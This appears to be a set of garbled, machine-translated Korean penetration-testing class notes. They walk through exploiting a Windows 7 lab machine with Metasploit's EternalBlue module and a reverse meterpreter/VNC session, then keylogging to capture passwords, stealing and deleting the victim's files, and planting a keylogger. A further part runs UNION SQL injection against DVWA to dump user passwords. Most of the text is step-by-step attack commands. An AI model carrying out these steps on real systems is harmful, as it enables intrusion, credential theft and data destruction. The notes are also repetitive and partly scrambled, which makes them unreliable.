취약성 공격으로 원격 조작, sql 인젝션(애플리케이션 보안)
*취약성 검증단계 1)기본 스캔 : Version scan, All scan 2) 스크립트를 활용한 상세스캔 $sudo find. -name”*서비스*”//*:아스테리스크, .:현재위치, ~:틸드$sudonmap -script=[스크립트명] [타깃 호스트] -p [타깃 포트]3)Google 검색 : 공식 취약성 번호, 특징, 취약성 정보 등을 파악 4) Metasploit 활용하여 검증 * Windows 7 downloadha.do/v9P -hfigd-fig12/Windows.100-150 // 130 포트의 오픈-운영체제를 알려면, $sudonmap-O192.168.5.130—> Running: Microsoft Windows Vista | 2008 | 7-kalilinux에서 All 스캔 $sudonmap-A192.168.5.130–> SMB의 취약성에 대해 많은 정보를 알려주고 있다
2단계: 스크립트를 활용한 상세 스캔 $cd/usr/share/nmap/scripts$sudo find. -name”*smb*”—>Windows7이 출시된 후 나온 취약점(2009~)
smb-vuln-ms17-010.nse로 스캐닝 진행
$sudonmap –script=svpn-ms17-010.nse 192.168.5.130–> VULNERABLE : Microsoft SMBv1 サーバ(ms17-010)のリモート 코드 실행 취약점 CVE-2017-01433계번 : 패치, 윈도우 7의 cmd, 시스템 정보, 핫픽스(핫픽스), MS 중 하나
—->4013389 이야기—-> 패치가 되지 않았다 (공격 가능) (KB : KnowledgeBase의 의미) 4단계 : Metasploit에서 Exploit-Kali에서 새로운 탭을 열고
$sudomsfconsole msf6> 검색 cve-2017-0143 (보조적인), msf6> exploit/wWindows/smb/ms17_010_eternalblue 사용하기
msf6> info // 모듈에 대한 정보를 확인할 수 있는 msf6> setrhost 192.168.5.130 // Windows 7이 재부팅되면 IP가 바뀔 수 있는 msf6> show payload srhost와 payload 지정 lost 지정(lost가 잘 지정되어 있는지는 showoptions에서 확인)
msf6> set payload window/x64/vncinject/reverse_tcpmsf6> set lost 192.168.5.128 // reverse가 있으면 lost를 지정합니다(타깃이 Attacker에 접속하도록 유도) msf6> set viewonly false // 보는 것뿐만 아니라 원격 조종할 예정 msf6> exploit! fail이 표시되면 Windows 7을 기동!VNC 창을 닫고 엔터를 누르면 msf6 > 콘솔로 돌아갑니다VNC 창을 닫고 엔터를 누르면 msf6 > 콘솔로 돌아갑니다msf6> exploitmeterpreter> ? // 사용 가능한 명령어가 표시된다meterpreter> screenshot //home/kali 밑에 이미지로 저장되는 *키로깅(Keylogger 작동시켜 비밀번호 찾기) ps // 프로세스리스트가 보이는 –> explorer.exe 프로세스의 맨 앞에 있는 번호를 확인합니다(pid확인) meterpreter> migrate [PID번호] // explorer.exe 아래로 이동meterpreter> keyscan_start (윈도우7에서 네이버 아이디/PW를 넣어봅니다, 검색창에 doctor strange 입력) meterpreter> keyscan_dumpmeterpreter> keyscan_stop // 키로거 동작중지* 악성코드를 Windows 7 데스크톱으로 송신 meterpreter>upload/usr/share/Windows-binaries/kloger.exeC:/users/john/desktop* Windows 7 에 있는 사진 중에서 3으로 시작하는 파일을 가져오는 meterpreter> download C: / users/john/pictures/3*/home/kali미터 프리터>다운로드 C:/users/john/pictures/blackpink*/home/kali* Meterpreter 특징 – 파일 가져오기, 파일보내기 – 키로깅 – 스크린샷 —> 다양한 기능 제공, Remote Code Execution (RCE, 원격명령 실행가능)내 문서에 있는 bitcoin 파일을 가져오는 캘리가 창에 보내는 것이 업로드 캘리가 창에서 받는 것이 다운로드 meterpreter > cdC:/users/johnmeterpreter>ls미터 > cd 문서 미터 > 다운로드 b* /+ /cali===============================================================실습) 윈도우 쉘 취득 후 파일 삭제==========meterpreter> shell // 윈도우 명령어로 변경meterpreter> cdc:/users/john/pictures meterpreter>dirmeterpreter>del3*//3로 시작하는 파일을 삭제 meterpreter>dir//없어진 것을 확인 meterpreter>whoami//john-pc\johncf. Windows 권한체계 : 시스템 > 관리자(administrator) > Desktop 사용자 > 일반 사용자 등등 실습(사용자 만들기) net user jennylisa / add —> 할 수 없는(권한이 Desktop 사용자) 실습(john 비밀번호 변경) net user john shield 12 #$ —> 할 수 없는(권한) 실습(모든 사용자를 확인해 보기) net user 실습(모든 그룹을 확인해 보기) net localgroup administrators*s*가 한국어로 만들어진 Windows Linuxeb에서 만들어진* Windows 7에서 로그를 보는 방법 실행창에 “이벤트 뷰어”를 입력하고 엔터—> Windows 로그(보안, 시스템, 애플리케이션) 로그가 없는 이유는 “로컬 보안 정책 설정”을 하지 않았기 때문에 실행창에 “로컬 보안 정책” 로컬 정책 > 감사 정책 —> 감사 정책 —> 감사하지 않음 —> 로그를 남기지 않도록 설정되어 있다* Windows 7에서 로그를 보는 방법 실행창에 “이벤트 뷰어”를 입력하고 엔터—> Windows 로그(보안, 시스템, 애플리케이션) 로그가 없는 이유는 “로컬 보안 정책 설정”을 하지 않았기 때문에 실행창에 “로컬 보안 정책” 로컬 정책 > 감사 정책 —> 감사 정책 —> 감사하지 않음 —> 로그를 남기지 않도록 설정되어 있다* 요약: 감사정책에 체크해야만 로그가 생성된다 (기본적으로 감사에 체크되지 않음–> 로그가 없음) * 인터넷을 만든 사람: 로버트 칸, 빈트 서프(미국) * WWW를 만든 사람: 팀 버너스 리(영국) – 물리학자들이 가장 가고 싶어하는 연구소: 유럽의 물리입자연구소(CERN) – 사진, 설명, 하이퍼링크–> 문서: html, html 로 이미지를 전송하는 프로토콜: http-회원가입, 동적 웹페이지, ASPook, crivate:hp, crivate, pp, pp. DB,보안상 위험한 웹서버에 대한 인증(ISO27001, ISMS-P)으로 GET와 POST만 허용(나머지가 있으면 결함)* 요약: 감사정책에 체크해야만 로그가 생성된다 (기본적으로 감사에 체크되지 않음–> 로그가 없음) * 인터넷을 만든 사람: 로버트 칸, 빈트 서프(미국) * WWW를 만든 사람: 팀 버너스 리(영국) – 물리학자들이 가장 가고 싶어하는 연구소: 유럽의 물리입자연구소(CERN) – 사진, 설명, 하이퍼링크–> 문서: html, html 로 이미지를 전송하는 프로토콜: http-회원가입, 동적 웹페이지, ASPook, crivate:hp, crivate, pp, pp. DB,보안상 위험한 웹서버에 대한 인증(ISO27001, ISMS-P)으로 GET와 POST만 허용(나머지가 있으면 결함)*Kalilinux에서 MySQL 연습 실습$ sudo service mysql start // MySQL 서비스 시작 $ sudo mysql-uroot-p (비밀번호는 설정되어 있지 않은, 그냥 엔터) > show databases; // 명령어 끝에는 항상;를 넣어야 합니다 (넣지 않고 엔터를 입력하면 다음 줄에서; 쓰고 엔터) information_schema라는 DB가 있다 –> DB의 메타값이 저장되어 있는 스키마(DB명, 테이블명, 테이블명, 컬럼명등이보존) > create database world; // world라는 DB를 만드는> useworld; // world라는 DB를 사용한다는 사용선언 > drop database world; 참고)DB를 사용하고 있고;를 사용하지 않기 때문에 취소하고 싶을 때\c를 사용한다> create database korea charsetutf8collateutf8_general_ci; // UTF8 방식으로 한글을 입력할 수 있다>use;*Data Type : 지정한 데이터 유형에 맞는 값을 입력해야 한다 – varchar (Various Character) : 가변 길이 문자열 —–> 지정한 문자를 넘지 않으면 됨 ex) varchar (10) : 10자 이내 작성 – char(Character) : 고정 긴 문자열 —-> 지정한 개수만큼의 문자를 사용해야 함 ex) chAR(3) : 무조건 세 글자 – integer (integer) : 상수 (최대 20억 정도까지만 쓸 수 있음), 부동산 예산 (부동산 가격), 고액연봉자는 표시할 수 없음 – bigint : 큰 상수 – text: 글을 입력할 수 있음 —-> 문자열은 “”로 묶어야 함, 숫자는 단지 입력1) 1) テーブル作り> create table city (name varchar(10)、 phone int(3)、 color char(3)、 people bigint; 2) 2) データ入力insert into city values (‘Seoul’, 002, BLU’, 100000;insert into city values (‘Daegu’, 053, ‘GRN’, 2000000);insert into city values (‘Busan’, 051, ‘BLK’, 4000000);insert into city values (‘Ulsan’, 052, ‘SLV’, 1000000);3)입력한 값 확인select * from city4)테이블 구조 확인 descity;5) 울산 인구가 300만명으로 늘어나서 수정하려면? update city set people=3000000 where name=’Ulsan’;cf.admin 비밀번호를 test12#$로 바꾸려면? (테이블명은 member, column명은 passwd라고 한다)*Select문 두 개를 연결하려면? UNION select name, phone from city union select color, people from city; —> 이전 Select문에서 요청한 컬럼의 수와 이후 Select문에서 요청한 컬럼의 수가 동일해야 한다셀렉트네임 시티유니온에서 전화로 셀렉트 컬러; //에 발생* SQL 젝 에게 보내는 답장: 그리고 True and False = False // 그리고, 둘 보내는 답장 false > True/// 또는 True/// 또는 True/\n true (2)를 선택해 주세요. –SQL을 참조하세요, MariaDB:#3) 첩문을 앞 용에문 SELECT(선택) UNION SELECT(유니온 셀렉트) \schema\ \select;\schema\schema\nupdate\n UPDATE {\f2}\f2;* information_스키마를 사용한다; > show 테이블에서 테이블을 선택한다; ——-> 테이블 열을 표시한다./// 스키마 테이블에서 스키마 테이블을 선택합니다 —–> 이터베이스의 이상어 (> show databases; > show databases; / / / / / ) > 테이블에서 table_name을 선택합니다. // // [DB] [ select table_name from tables]=’korean’; // 韓国 [DB] DB[ descolumns], // 컬럼을 선택합니다 columnn_name from カラム; // columns 이에게 보는 답기 > table_name=’city’; // columnn_name을 컬럼에서 선택한다셀렉트네임 시티유니온에서 전화로 셀렉트 컬러; //에 발생* SQL 젝 에게 보내는 답장: 그리고 True and False = False // 그리고, 둘 보내는 답장 false > True/// 또는 True/// 또는 True/\n true (2)를 선택해 주세요. –SQL을 참조하세요, MariaDB:#3) 첩문을 앞 용에문 SELECT(선택) UNION SELECT(유니온 셀렉트) \schema\ \select;\schema\schema\nupdate\n UPDATE {\f2}\f2;* information_스키마를 사용한다; > show 테이블에서 테이블을 선택한다; ——-> 테이블 열을 표시한다./// 스키마 테이블에서 스키마 테이블을 선택합니다 —–> 이터베이스의 이상어 (> show databases; > show databases; / / / / / ) > 테이블에서 table_name을 선택합니다. // // [DB] [ select table_name from tables]=’korean’; // 韓国 [DB] DB[ descolumns], // 컬럼을 선택합니다 columnn_name from カラム; // columns 이에게 보는 답기 > table_name=’city’; // columnn_name을 컬럼에서 선택한다—->DB(* : dvwa3 (*) テーブル 내름기알’union select table_name, table_module.html 여기서 table_module=’dv wa’ #—> 방명록, 사용자 트블 인용하기4개전) 가람 “union select columnn_name”, “table_name=”users” #—->user,password”라는 정보 중에서 선택합니다5단계) 각 사용자의 로그인 계정과 비밀번호 찾기 ‘union select user, password from users #No language detected.
Please check the input language.